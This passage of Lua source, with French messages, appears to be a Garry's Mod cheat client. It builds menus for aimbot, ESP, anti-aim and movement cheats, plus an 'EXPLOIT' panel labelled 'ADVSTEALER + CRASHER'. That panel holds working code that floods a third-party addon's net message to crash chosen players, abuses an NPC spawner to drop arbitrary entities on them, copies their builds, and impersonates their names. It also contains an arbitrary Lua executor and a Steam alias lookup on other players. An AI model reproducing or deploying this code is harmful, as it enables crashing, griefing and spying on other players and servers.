                if customURL and customURL ~= "" then
                    aliasURL = "https://steamcommunity.com/id/" .. customURL .. "/ajaxaliases/"
                    print("Custom URL trouvé : " .. customURL)
                else
                    aliasURL = "https://steamcommunity.com/profiles/" .. ply:SteamID64() .. "/ajaxaliases/"
                    print("Pas de custom URL, utilisation de l'ID Steam64.")
                end

                var.h.Fetch(aliasURL,
                    function(body, len, headers, code)
                        if code ~= 200 then
                            print("Erreur lors de la récupération des alias : " .. code)
                            return
                        end

                        local aliases = util.JSONToTable(body)
                        if aliases then
                            DisplaySteamInfoMenu(aliases)
                        else
                            print("Erreur lors du parsing du JSON des anciens pseudos.")
                        end
                    end,
                    function(error)
                        print("Erreur lors de la récupération des anciens pseudos : " .. error)
                    end
                )
            else
                print("Impossible de récupérer les informations du joueur.")
            end
        end,
        function(error)
            print("Erreur lors de la récupération du profil : " .. error)
        end
    )
end

local function ToggleCheatMenu()
    if IsValid(var.cheatMenu) and var.cheatMenu:IsVisible() then
        
        if var.activeCategory == 3 and IsValid(var.dropdownMenu) then
            var.dropdownMenu:MoveTo(var.dropdownMenu:GetX(), var.ScrH(), 0.3, 0, 0.3, function()
                var.dropdownMenu:SetVisible(false)
            end)
            var.dropdownMenu:AlphaTo(0, 0.3, 0)
        end

        var.cheatMenu:MoveTo(var.ScrW() / 2 - var.cheatMenu:GetWide() / 2, var.ScrH(), 0.3, 0, 0.3, function()
            var.cheatMenu:SetVisible(false)
            gui.EnableScreenClicker(false)
            gui.HideGameUI()
        end)
        var.cheatMenu:AlphaTo(0, 0.3, 0)
    elseif IsValid(var.cheatMenu) then
        var.cheatMenu:SetPos(var.ScrW() / 2 - var.cheatMenu:GetWide() / 2, var.ScrH())
        var.cheatMenu:SetAlpha(0)
        var.cheatMenu:SetVisible(true)
        var.cheatMenu:MakePopup()
        var.cheatMenu:MoveTo(var.ScrW() / 2 - var.cheatMenu:GetWide() / 2, var.ScrH() / 2 - var.cheatMenu:GetTall() / 2, 0.3, 0, 0.3)
        var.cheatMenu:AlphaTo(255, 0.3, 0)
        var.me:ConCommand("gameui_activate")
        
        if var.activeCategory == 3 and IsValid(var.dropdownMenu) then
            var.dropdownMenu:SetPos(var.dropdownMenu:GetX(), var.ScrH())
            var.dropdownMenu:SetVisible(true)
            var.dropdownMenu:SetAlpha(0)
            var.dropdownMenu:MoveTo(var.dropdownMenu:GetX(), var.ScrH() / 2 - var.cheatMenu:GetTall() / 2, 0.3, 0, 0.3)
            var.dropdownMenu:AlphaTo(255, 0.3, 0)
        end
    else
        var.cheatMenu = vgui.Create("DFrame")
        var.cheatMenu:SetSize(700, 500)
        var.cheatMenu:SetTitle("")
        var.cheatMenu:ShowCloseButton(false)
        var.cheatMenu:SetDraggable(false)
        var.cheatMenu:MakePopup()
        var.cheatMenu:SetAlpha(0)
        var.cheatMenu:SetPos(var.ScrW() / 2 - var.cheatMenu:GetWide() / 2, var.ScrH())
        var.cheatMenu:SetVisible(true)
        gui.EnableScreenClicker(true)
        var.me:ConCommand("gameui_activate")

        var.cheatMenu:MoveTo(var.ScrW() / 2 - var.cheatMenu:GetWide() / 2, var.ScrH() / 2 - var.cheatMenu:GetTall() / 2, 0.3, 0, 0.3)
        var.cheatMenu:AlphaTo(255, 0.3, 0)
        var.cheatMenu.Paint = function(self, w, h)
            draw.RoundedBox(7, 0, 0, w, h, Color(40, 40, 40))
        end

        local categories = {
            {id = 1, name = "AIMBOT", icon = var.Material("icons/gun.png")},
            {id = 2, name = "VISUALS", icon = var.Material("icons/eye.png")},
            {id = 3, name = "MOVEMENT", icon = var.Material("icons/mouvement.png")},
            {id = 4, name = "EXPLOIT", icon = var.Material("icons/exploit.png")},
            {id = 5, name = "LUA EXECUTOR", icon = var.Material("icons/script_code.png")},
            {id = 6, name = "NET LOGGER", icon = var.Material("icons/script_code.png")},
            {id = 7, name = "KEYBINDS", icon = var.Material("icons/keybind.png")},
            {id = 8, name = "UNLOAD", icon = var.Material("icons/unload.png")}
        }

        var.activeCategory = 1
        local contentPanels = {}

        local navBar = vgui.Create("DPanel", var.cheatMenu)
        navBar:SetSize(150, var.cheatMenu:GetTall())
        navBar:SetPos(0, 0)
        navBar.Paint = function(self, w, h)
            draw.RoundedBox(0, 0, 0, w, h, Color(50, 50, 50))
        end

        for i, category in ipairs(categories) do
            local btn = vgui.Create("DButton", navBar)
            btn:SetSize(150, 50)
            if category.name == "KEYBINDS" then
                btn:SetPos(0, navBar:GetTall() - 100)
            elseif category.name == "UNLOAD" then
                btn:SetPos(0, navBar:GetTall() - 50)
            else
                btn:SetPos(0, (i - 1) * 50)
            end
            btn:SetText("")
            
            btn.Paint = function(self, w, h)
                local bgColor = i == var.activeCategory and Color(70, 70, 70) or Color(50, 50, 50)
                draw.RoundedBox(0, 0, 0, w, h, bgColor)
                surface.SetMaterial(category.icon)
                var.surface_SetDrawColor(255, 255, 255)
                surface.DrawTexturedRect(10, 15, 20, 20)
                var.draw_SimpleText(category.name, "Trebuchet18", 40, 15, Color(255, 255, 255), TEXT_ALIGN_LEFT)
                if i == var.activeCategory then
                    draw.RoundedBox(6, w - 2, 0, 2, h, Color(255, 255, 255))
                end
            end

            btn.DoClick = function()
                if var.activeCategory ~= category.id then
                    local oldPanel = contentPanels[var.activeCategory]
                    local newPanel = contentPanels[category.id]
        
                    oldPanel:AlphaTo(0, 0.3, 0, function()
                        oldPanel:SetVisible(false)
                    end)

                    if var.activeCategory == 3 and IsValid(var.dropdownMenu) then
                        var.dropdownMenu:AlphaTo(0, 0.3, 0, function()
                            var.dropdownMenu:SetVisible(false)
                        end)
                    end

                    newPanel:SetVisible(true)
                    newPanel:SetAlpha(0)
                    newPanel:AlphaTo(255, 0.3, 0)

                    if category.id == 3 and IsValid(var.dropdownMenu) then
                        var.dropdownMenu:SetVisible(true)
                        var.dropdownMenu:SetAlpha(0)
                        var.dropdownMenu:AlphaTo(255, 0.3, 0)
                    end

                    if category.name == "UNLOAD" then
                        ftg.vars["VIOL_UNLOAD"] = true
                    end

                    var.activeCategory = category.id

                end
            end
        end
        
        for i, category in ipairs(categories) do
            local contentPanel = vgui.Create("DPanel", var.cheatMenu)
            contentPanel:SetSize(var.cheatMenu:GetWide() - 150, var.cheatMenu:GetTall())
            contentPanel:SetPos(150, 0)
            contentPanel:SetVisible(i == var.activeCategory)
            contentPanel:SetAlpha(i == var.activeCategory and 255 or 0)
            contentPanel.Paint = function(self, w, h)
                draw.RoundedBox(7, 0, 0, w, h, Color(40, 40, 40))
                var.draw_SimpleText(category.name .. " Options", "Trebuchet18", 10, 10, Color(255, 255, 255), TEXT_ALIGN_LEFT)
            end

            if category.name == "KEYBINDS" then
                local y = 40
                local xOffset1 = 10
                local xOffset2 = (contentPanel:GetWide() - 30) / 2 + 20
                
                local rowHeight = 40 
                local maxPerRow = 2 
                
                local columnPositions = {xOffset1, xOffset2}
                
                local columnIndex = 1
                
                for bind, _ in pairs(var.keybind or {}) do
                    CreateKeyBindOption(contentPanel, columnPositions[columnIndex], y, bind, bind)
                    if columnIndex == maxPerRow then
                        y = y + rowHeight
                        columnIndex = 1
                    else
                        columnIndex = columnIndex + 1
                    end
                end
            end
            

            if category.name == "AIMBOT" then
                CreateCustomCheckbox(contentPanel, 15, 30, "Aimbot", "VIOL_AIMBOT", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 60, "Silent Aim", "VIOL_SILENT", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 90, "PSilent", "VIOL_PSILENT", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 120, "No Spread", "VIOL_NOSPREAD", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 150, "AutoFire", "VIOL_AUTOFIRE", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 180, "RapidFire", "VIOL_RAPIDFIRE", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 210, "Auto Arrest", "VIOL_AUTOARREST", function(state)
                end)
            end

            if category.name == "VISUALS" then
                CreateCustomCheckbox(contentPanel, 15, 30, "ESP", "VIOL_ESP", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 60, "Chams", "VIOL_CHAMS", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 90, "Props Chams", "VIOL_PROPSCHAMS", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 120, "Weapon Chams", "VIOL_WEAPONCHAMS", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 150, "Bullet Tracer", "VIOL_BULLETTRACER", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 180, "ThirdPerson", "VIOL_THIRD", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 210, "FOV Changer", "VIOL_FOV", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 240, "WEAPON FOV Changer", "VIOL_WEAPONFOV", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 270, "4:3", "VIOL_4TIER", function(state)
                    if state then
                        ded.ConVarSetValue("r_aspectratio", "1.3333")
                    else
                        ded.ConVarSetValue("r_aspectratio", "0")
                    end
                end)
            end

            if category.name == "MOVEMENT" then
                CreateCustomCheckbox(contentPanel, 15, 30, "Bunnyhop", "VIOL_BHOP", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 60, "Fast Walk", "VIOL_FASTWALK", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 90, "Air Stuck", "VIOL_AIRSTUCK", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 120, "WARP", "VIOL_WARP", function(state)
                end)
                CreateCustomCheckbox(contentPanel, 15, 150, "DESYNC", "VIOL_DESYNC", function(state)
                end)

                local antiAimLabelX = 15
                local antiAimLabelY = 180
                local antiAimCheckbox = CreateCustomCheckbox(contentPanel, antiAimLabelX, antiAimLabelY, "AntiAim", "VIOL_ANTIAIM", function(state)
                    if state then
                        if not IsValid(var.dropdownMenu) then
                            var.dropdownMenu = vgui.Create("DPanel")
                            var.dropdownMenu:SetSize(500, 280)
                            var.dropdownMenu:SetPos(antiAimLabelX + 1300, antiAimLabelY + 110)
                            var.dropdownMenu:SetAlpha(0)
                            var.dropdownMenu:SetVisible(true)
                            var.dropdownMenu:AlphaTo(255, 0.3, 0)
                            var.dropdownMenu:MakePopup()

                            var.dropdownMenu.Paint = function(self, w, h)
                                draw.RoundedBox(12, 0, 0, w, h, Color(40, 40, 40))
                                var.draw_SimpleText("Configuration AntiAim", "Trebuchet18", 20, 15, Color(255, 255, 255), TEXT_ALIGN_LEFT)
                            end

                            local checkboxes = {
                                {label = "Pitch Up", var = "VIOL_ANTIAIM_PITCHUP"},
                                {label = "Pitch Down", var = "VIOL_ANTIAIM_PITCHDOWN"},
                                {label = "Spin", var = "VIOL_ANTIAIM_SPIN"},
                                {label = "Sway", var = "VIOL_ANTIAIM_SWAY"},
                                {label = "Side Left", var = "VIOL_ANTIAIM_SIDE_LEFT"},
                                {label = "Side Right", var = "VIOL_ANTIAIM_SIDE_RIGHT"},
                                {label = "Custom", var = "VIOL_ANTIAIM_CUSTOM"}
                            }
                        
                            local checkboxY = 40
                            for _, checkbox in ipairs(checkboxes) do
                                local cb = vgui.Create("DCheckBoxLabel", var.dropdownMenu)
                                cb:SetPos(20, checkboxY)
                                cb:SetText(checkbox.label)
                                cb:SetValue(ftg.vars[checkbox.var] or false)
                                cb:SetFont("Trebuchet18")
                                cb:SetTextColor(Color(255, 255, 255))
                                cb:SizeToContents()
                                cb.OnChange = function(self, value)
                                    ftg.vars[checkbox.var] = value
                                end
                                cb.Button.Paint = function(self, w, h)
                                    draw.RoundedBox(4, 0, 0, w, h, Color(255, 255, 255, self:GetChecked() and 255 or 0))
                                    var.surface_SetDrawColor(255, 255, 255)
                                    surface.DrawOutlinedRect(0, 0, w, h)
                                end
                            
                                checkboxY = checkboxY + 20
                            end

                            local yawSlider = vgui.Create("DNumSlider", var.dropdownMenu)
                            yawSlider:SetPos(20, checkboxY + 10)
                            yawSlider:SetSize(260, 30)
                            yawSlider:SetText("Yaw Offset")
                            yawSlider:SetMin(-180)
                            yawSlider:SetMax(180)
                            yawSlider:SetDecimals(1)
                            yawSlider:SetValue(ftg.vars["VIOL_ANTIAIM_CUSTOM_YAW"] or 0)
                            yawSlider.Label:SetFont("Trebuchet18")
                            yawSlider.Label:SetTextColor(Color(255, 255, 255))
                            yawSlider.OnValueChanged = function(self, value)
                                ftg.vars["VIOL_ANTIAIM_CUSTOM_YAW"] = value
                            end
                            yawSlider.Slider.Knob:Hide()
                            yawSlider.Slider.Paint = function(self, w, h)
                                local fraction = (yawSlider:GetValue() - yawSlider:GetMin()) / (yawSlider:GetMax() - yawSlider:GetMin())
                                draw.RoundedBox(0, 0, h / 2 - 2, w, 4, Color(80, 80, 80))
                                draw.RoundedBox(0, 0, h / 2 - 2, w * fraction, 4, Color(255, 255, 255))
                            end

                            local pitchSlider = vgui.Create("DNumSlider", var.dropdownMenu)
                            pitchSlider:SetPos(20, checkboxY + 40)
                            pitchSlider:SetSize(260, 30)
                            pitchSlider:SetText("Pitch Offset")
                            pitchSlider:SetMin(-90)
                            pitchSlider:SetMax(90)
                            pitchSlider:SetDecimals(1)
                            pitchSlider:SetValue(ftg.vars["VIOL_ANTIAIM_CUSTOM_PITCH"] or 0)
                            pitchSlider.Label:SetFont("Trebuchet18")
                            pitchSlider.Label:SetTextColor(Color(255, 255, 255))
                            pitchSlider.OnValueChanged = function(self, value)
                                ftg.vars["VIOL_ANTIAIM_CUSTOM_PITCH"] = value
                            end
                            pitchSlider.Slider.Knob:Hide()
                            pitchSlider.Slider.Paint = function(self, w, h)
                                local fraction = (pitchSlider:GetValue() - pitchSlider:GetMin()) / (pitchSlider:GetMax() - pitchSlider:GetMin())
                                draw.RoundedBox(0, 0, h / 2 - 2, w, 4, Color(80, 80, 80))
                                draw.RoundedBox(0, 0, h / 2 - 2, w * fraction, 4, Color(255, 255, 255))
                            end

                            var.modelPanel = vgui.Create("DModelPanel", var.dropdownMenu)
                            var.modelPanel:SetSize(230, 240)
                            var.modelPanel:SetPos(270, 30)
                            var.modelPanel:SetModel(var.me:GetModel())
                            var.modelPanel:SetFOV(50)
                            var.modelPanel:SetCamPos(Vector(70, 25, 70))
                            var.modelPanel:SetLookAt(Vector(0, 0, 38))

                            function var.modelPanel:LayoutEntity(ent)
                                if ent:GetModel() ~= var.me:GetModel() then
                                    ent:SetModel(var.me:GetModel())
                                end
                                local pitch = CalcPitch()
                                local yaw = CalcYaw() - GetBaseYaw()
                            
                                ent:SetAngles(Angle(0, yaw + 15, 0))
                            
                                local spine = ent:LookupBone("ValveBiped.Bip01_Spine")
                            
                                if spine then
                                    ent:ManipulateBoneAngles(spine, Angle(0, pitch * 0.5, 0))
                                end
                            end
                        else
                            var.dropdownMenu:SetVisible(true)
                            var.dropdownMenu:AlphaTo(255, 0.3, 0)
                        end
                    else
                        if IsValid(var.dropdownMenu) then
                            var.dropdownMenu:AlphaTo(0, 0.3, 0, function()
                                var.dropdownMenu:SetVisible(false)
                            end)
                        end
                    end
                end)
                CreateCustomCheckbox(contentPanel, 15, 210, "Spam Taunt", "VIOL_TAUNTSPAM", function(state)
                end)
            end

			if category.name == "EXPLOIT" then
				local titleLabel = vgui.Create("DLabel", contentPanel)
				titleLabel:SetPos(20, 30)
				titleLabel:SetSize(200, 30)
				titleLabel:SetText("ADVSTEALER + CRASHER")
				titleLabel:SetFont("Trebuchet18")
				titleLabel:SetTextColor(Color(255, 255, 255))

				local playerTree = vgui.Create("DTree", contentPanel)
				playerTree:SetSize(200, 375)
				playerTree:SetPos(10, 60)

                playerTree.VBar:SetAlpha(0)
                playerTree.VBar:SetMouseInputEnabled(false)
				playerTree.Paint = function(self, w, h)
					draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40))
				end

                local playerNodes = {}

				local function RefreshPlayerTree()
                    playerTree:Clear()
                    playerNodes = {}

					local mainNode = playerTree:AddNode("Players", "icons/twoperson.png")
					mainNode:SetExpanded(true)

                    for _, ply in ipairs(player.GetAll()) do
                        if not playerNodes[ply:SteamID()] then
                            local plyNode = mainNode:AddNode(ply:Nick(), "icons/person.png")
                            
                            plyNode.DoRightClick = function()
                                local options = DermaMenu()

                                options.Paint = function(self, w, h)
                                    draw.RoundedBox(8, 0, 0, w, h, Color(40, 40, 40))
                                end

                                options:AddOption("Copy SteamID", function()
                                    SetClipboardText(ply:SteamID())
                                    notification.AddLegacy("Copied SteamID!", NOTIFY_HINT, 3)
                                end):SetIcon("icons/copy.png")
                                options:AddSpacer()
                                options:AddOption("Steam Info", function()
                                    FetchSteamInfo(ply)
                                end):SetIcon("icons/info.png")
                                options:AddSpacer()
                                if IsFriend(ply:SteamID()) then
                                    options:AddOption("Remove Friend", function()
                                        RemoveFriend(ply:SteamID())
                                    end):SetIcon("icons/remove_friend.png")
                                else
                                    options:AddOption("Add Friend", function()
                                        AddFriend(ply:SteamID())
                                    end):SetIcon("icons/add_friend.png")
                                end
                                options:AddSpacer()
                                options:AddOption("Steal Name", function()
                                    ded.NetSetConVar("name", ply:Name().." ")
                                    RunConsoleCommand("say", "/name "..ply:Name())
                                    notification.AddLegacy("Name Changed!", NOTIFY_HINT, 3)
                                end):SetIcon("icons/steal.png")
                                options:AddSpacer()
                                if var.advdupe2_from_json then
                                    options:AddOption("Save Base", function()
                                        OpenFileNameDialog(ply)
                                    end):SetIcon("icons/save.png")
                                    options:AddSpacer()
                                end
                                if var.gts then 
                                    options:AddOption("Crash Player", function()
                                        for i = 1, 100 do
                                            var.net_Start("GimmeThatScreen_Provide")
                                            var.net_WriteBool(true)
                                            var.net_WriteString(100)
                                            net.WriteEntity(Entity(ply:EntIndex()))
                                            net.WriteUInt(2, 13)
                                            var.net_WriteString("Local")
                                            var.net_SendToServer()
                                        end
                                    end):SetIcon("icons/warning_monitor.png")
                                    options:AddSpacer()
                                end
                                if var.vj_cleanup then
                                    options:AddOption("Spawn Entity on Player", function()
                                        local entityName = entityBox:GetValue()

                                        if entityName == "" then
                                            notification.AddLegacy("Please enter an entity class!", NOTIFY_ERROR, 3)
                                            return
                                        end

                                        local spawnPos = ply:GetPos() + Vector(0,0,50)

                                        var.net_Start("vj_npcspawner_sv_create")
                                        net.WriteTable({
                                            vjstool_npcspawner_spawnentname = 0,
                                            vjstool_npcspawner_spawnpos_right = 0,
                                            vjstool_npcspawner_weaponequipname = 0,
                                            vjstool_npcspawner_weaponequip = 0,
                                            vjstool_npcspawner_spawnpos_forward = 0,
                                            vjstool_npcspawner_fritoplyallies = 1,
                                            vjstool_npcspawner_playsound = 0,
                                            vjstool_npcspawner_spawnnpclass = 0,
                                            vjstool_npcspawner_spawnent = 0,
                                            vjstool_npcspawner_nextspawntime = 0,
                                            vjstool_npcspawner_spawnpos_up = 0,
                                        })
                                        net.WriteVector(spawnPos)
                                        net.WriteUInt(5, 8)
                                        net.WriteTable({
                                            {
                                                SpawnPosition = Vector(0, 0, 0),
                                                Entities = entityName,
                                                Relationship = {
                                                    FriToPlyAllies = "1",
                                                    Class = "",
                                                },
                                                WeaponsList = "",
                                            },
                                        })
                                        var.net_WriteString("LeftClick")
                                        var.net_SendToServer()

                                        notification.AddLegacy("Entity spawned on " .. ply:Nick(), NOTIFY_HINT, 3)
                                    end):SetIcon("icons/spawn.png")
                                    options:AddSpacer()
                                end
                                if targetspec == ply then
                                    options:AddOption("UnSpectate", function()
                                        targetspec = nil
                                        spec = false
                                        notification.AddLegacy("Stopped spectating " .. ply:Nick(), NOTIFY_HINT, 3)
                                    end):SetIcon("icons/camera_delete.png")
                                else
                                    options:AddOption("Spectate", function()
                                        if IsValid(ply) then
                                            targetspec = ply
                                            spec = true
                                            notification.AddLegacy("Now spectating " .. ply:Nick(), NOTIFY_HINT, 3)
                                        else
                                            notification.AddLegacy("ERROR: Player not valid", NOTIFY_ERROR, 3)
                                        end
                                    end):SetIcon("icons/camera_go.png")
                                end
                                
                                options:Open()
                            end
                        end
					end
				end

				RefreshPlayerTree()

				timer.Create("PlayerTreeAutoRefresh", 5, 0, function()
					if IsValid(playerTree) and contentPanel:IsVisible() then
						RefreshPlayerTree()
					end
				end)

				local EntityGiveLabel = vgui.Create("DLabel", contentPanel)
				EntityGiveLabel:SetPos(220, 30)
				EntityGiveLabel:SetSize(200, 30)
				EntityGiveLabel:SetText("GIVE ENTITY")
				EntityGiveLabel:SetFont("Trebuchet18")
				EntityGiveLabel:SetTextColor(Color(255, 255, 255))

				local EntityGiveBackground = vgui.Create("DPanel", contentPanel)
				EntityGiveBackground:SetSize(250, 75)
				EntityGiveBackground:SetPos(202, 55)
				EntityGiveBackground.Paint = function(self, w, h)
					draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					draw.RoundedBox(10, 2, 2, w - 4, h - 4, Color(40, 40, 40))
				end

				entityBox = vgui.Create("DTextEntry", EntityGiveBackground)
				entityBox:SetSize(220, 30)
				entityBox:SetPos(15, 10)
				entityBox:SetFont("Trebuchet18")
				entityBox:SetPlaceholderText("Entrez la classe de l'entité à spawn")
				entityBox.Paint = function(self, w, h)
					draw.RoundedBox(6, 0, 0, w, h, Color(40, 40, 40))
					self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
					if self:GetText() == "" then
						var.draw_SimpleText(self:GetPlaceholderText(), self:GetFont(), 5, h / 2, Color(200, 200, 200), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
					end
				end

				local spawnButton = vgui.Create("DButton", EntityGiveBackground)
				spawnButton:SetSize(220, 25)
				spawnButton:SetPos(15, 50)
				spawnButton:SetFont("Trebuchet18")
				spawnButton:SetText("Spawn l'entité")
				spawnButton:SetTextColor(Color(255, 255, 255))
				spawnButton.Paint = function(self, w, h)
					if self:IsHovered() then
						draw.RoundedBox(10, 0, 0, w, h, Color(50, 50, 50))
					else
						draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					end
				end
				spawnButton.DoClick = function()
					local position

					if freecamEnabled then
						position = freecamPos
					else
						position = var.me:GetPos()
					end
					
					local text1 = entityBox:GetValue()
					local text2 = ""

					var.net_Start("vj_npcspawner_sv_create")
					net.WriteTable({
						vjstool_npcspawner_spawnentname = 0,
						vjstool_npcspawner_spawnpos_right = 0,
						vjstool_npcspawner_weaponequipname = 0,
						vjstool_npcspawner_weaponequip = 0,
						vjstool_npcspawner_spawnpos_forward = 0,
						vjstool_npcspawner_fritoplyallies = 1,
						vjstool_npcspawner_playsound = 0,
						vjstool_npcspawner_spawnnpclass = 0,
						vjstool_npcspawner_spawnent = 0,
						vjstool_npcspawner_nextspawntime = 0,
						vjstool_npcspawner_spawnpos_up = 0,
					})
					net.WriteVector(position)
					net.WriteUInt(5, 8)
					net.WriteTable({
						{
							SpawnPosition = Vector(0, 0, 0),
							Entities = text1,
							Relationship = {
								FriToPlyAllies = "1",
								Class = "",
							},
							WeaponsList = text2,
						},
					})
					var.net_WriteString("LeftClick")
					var.net_SendToServer()
				end
				--------------------------------------------------------
				local DisconnectLabel = vgui.Create("DLabel", contentPanel)
				DisconnectLabel:SetPos(220, 150)
				DisconnectLabel:SetSize(200, 30)
				DisconnectLabel:SetText("Disconnect")
				DisconnectLabel:SetFont("Trebuchet18")
				DisconnectLabel:SetTextColor(Color(255, 255, 255))

				local DisconnectBackground = vgui.Create("DPanel", contentPanel)
				DisconnectBackground:SetSize(250, 75)
				DisconnectBackground:SetPos(202, 180)
				DisconnectBackground.Paint = function(self, w, h)
					draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					draw.RoundedBox(10, 2, 2, w - 4, h - 4, Color(40, 40, 40))
				end

				DisconnectBox = vgui.Create("DTextEntry", DisconnectBackground)
				DisconnectBox:SetSize(220, 30)
				DisconnectBox:SetPos(15, 10)
				DisconnectBox:SetFont("Trebuchet18")
				DisconnectBox:SetPlaceholderText("Entrez la raison de disconnect.")
				DisconnectBox.Paint = function(self, w, h)
					draw.RoundedBox(6, 0, 0, w, h, Color(40, 40, 40))
					self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
					if self:GetText() == "" then
						var.draw_SimpleText(self:GetPlaceholderText(), self:GetFont(), 5, h / 2, Color(200, 200, 200), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
					end
				end

				local DisconnectButton = vgui.Create("DButton", DisconnectBackground)
				DisconnectButton:SetSize(220, 25)
				DisconnectButton:SetPos(15, 50)
				DisconnectButton:SetFont("Trebuchet18")
				DisconnectButton:SetText("Disconnect")
				DisconnectButton:SetTextColor(Color(255, 255, 255))
				DisconnectButton.Paint = function(self, w, h)
					if self:IsHovered() then
						draw.RoundedBox(10, 0, 0, w, h, Color(50, 50, 50))
					else
						draw.RoundedBox(10, 0, 0, w, h, Color(40, 40, 40))
					end
				end
				DisconnectButton.DoClick = function()
					local text1 = DisconnectBox:GetValue()
					ded.NetDisconnect(text1)
				end
                local yPos = 300
                if var.vrmod then
                    CreateCustomCheckbox(contentPanel, 210, yPos, "INVISIBLE", "VIOL_VRMOD_INVISIBLE", function(state)
                    end)
                    yPos = yPos + 30
                    
                    CreateCustomCheckbox(contentPanel, 210, yPos, "SPAM ENTITY", "VIOL_VRMOD_SPAM", function(state)
                    end)
                    yPos = yPos + 30
                end
                CreateCustomCheckbox(contentPanel, 210, yPos, "SCRAPE", "VIOL_SCRAPE", function(state)
                end)
                yPos = yPos + 30
                
                CreateCustomCheckbox(contentPanel, 210, yPos, "CLIMB SWEP FLY", "VIOL_CLIMBSWEP", function(state)
                end)
			end

            if category.name == "LUA EXECUTOR" then
                local luaExecutorPanel = vgui.Create("DPanel", contentPanel)
                luaExecutorPanel:SetSize(contentPanel:GetWide() - 20, contentPanel:GetTall() - 50)
                luaExecutorPanel:SetPos(10, 40)
                luaExecutorPanel.Paint = function(self, w, h)
                    draw.RoundedBox(6, 0, 0, w, h, Color(40, 40, 40))
                end

                local luaTextEntry = vgui.Create("DTextEntry", luaExecutorPanel)
                luaTextEntry:SetSize(luaExecutorPanel:GetWide() - 10, luaExecutorPanel:GetTall() - 50)
                luaTextEntry:SetPos(5, 5)
                luaTextEntry:SetFont("Trebuchet18")
                luaTextEntry:SetPlaceholderText("")
                luaTextEntry:SetMultiline(true)
                luaTextEntry.Paint = function(self, w, h)
                    draw.RoundedBox(6, 0, 0, w, h, Color(30, 30, 30))
                    self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
                    if self:GetText() == "" then
                        var.draw_SimpleText(self:GetPlaceholderText(), self:GetFont(), 5, h / 2, Color(200, 200, 200), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
                    end
                end

                local executeLuaButton = vgui.Create("DButton", luaExecutorPanel)
                executeLuaButton:SetSize(luaExecutorPanel:GetWide() - 10, 40)
                executeLuaButton:SetPos(5, luaExecutorPanel:GetTall() - 45)
                executeLuaButton:SetFont("Trebuchet18")
                executeLuaButton:SetText("Exécuter le code Lua")
                executeLuaButton:SetTextColor(Color(255, 255, 255))
                executeLuaButton.Paint = function(self, w, h)
                    draw.RoundedBox(6, 0, 0, w, h, self:IsHovered() and Color(50, 50, 50) or Color(40, 40, 40))
                end

                executeLuaButton.DoClick = function()
                    local luaCode = luaTextEntry:GetValue()
                    if luaCode == "" then
                        notification.AddLegacy("Vous devez entrer du code Lua !", NOTIFY_ERROR, 3)
                        surface.PlaySound("buttons/button10.wav")
                        return
                    end

                    local success, err = pcall(function()
                        RunString(luaCode)
                    end)

                    if success then
                        notification.AddLegacy("Code exécuté avec succès !", NOTIFY_HINT, 3)
                    else
                        notification.AddLegacy("Erreur dans le code Lua : " .. err, NOTIFY_ERROR, 3)
                        surface.PlaySound("buttons/button10.wav")
                    end
                end
            end
			if category.name == "NET LOGGER" then
				local netMessageTable = {}

				local function addNetMessageToPanel(panel, netmsg)
					local name = string.Explode("\n", netmsg)[1]
					if not netMessageTable[name] then
						local category = panel:Add("DCollapsibleCategory")
						category:SetLabel(name)
						category:SetExpanded(false)
						category:Dock(TOP)
						category:DockMargin(2, 5, 2, 5)
						category.Paint = function(self, w, h)
							draw.RoundedBox(3, 0, 0, w, h, Color(40, 40, 40))
						end

						local countLabel = vgui.Create("DLabel", category)
						countLabel:SetFont("Trebuchet18")
						countLabel:SetTextColor(Color(255, 255, 255))
						countLabel:SetText("COUNT: 1")
						countLabel:SetPos(700, 0)
						countLabel:SetSize(100, 20)

						local scrollPanel = vgui.Create("DScrollPanel", category)
						category:SetContents(scrollPanel)

						netMessageTable[name] = {panel = category, count = 1, countLabel = countLabel, scrollPanel = scrollPanel}

						local messageBox = vgui.Create("DTextEntry", scrollPanel)
						messageBox:SetMultiline(true)
						messageBox:SetWide(850)
						messageBox:Dock(TOP)
						messageBox:DockMargin(3, 2, 3, 2)
						messageBox:SetText(netmsg)

						messageBox.PerformLayout = function(self)
							local lines = string.Explode("\n", self:GetText() or "")
							surface.SetFont(self:GetFont() or "Default")
							local _, lineHeight = surface.GetTextSize("Test")
							local totalHeight = #lines * lineHeight
							self:SetTall(var.math_clamp(totalHeight, 60, 150))
						end

						messageBox.Paint = function(self, w, h)
							draw.RoundedBox(4, 0, 0, w, h, Color(40, 40, 40))
							var.surface_SetDrawColor(40, 40, 40)
							surface.DrawOutlinedRect(0, 0, w, h)
							self:DrawTextEntryText(Color(255, 255, 255), Color(30, 130, 255), Color(255, 255, 255))
						end
					else
						local entry = netMessageTable[name]
						entry.count = entry.count + 1
						entry.countLabel:SetText("COUNT: " .. entry.count)

						local messageBox = vgui.Create("DTextEntry", entry.scrollPanel)
						messageBox:SetMultiline(true)
						messageBox:SetWide(850)
						messageBox:Dock(TOP)
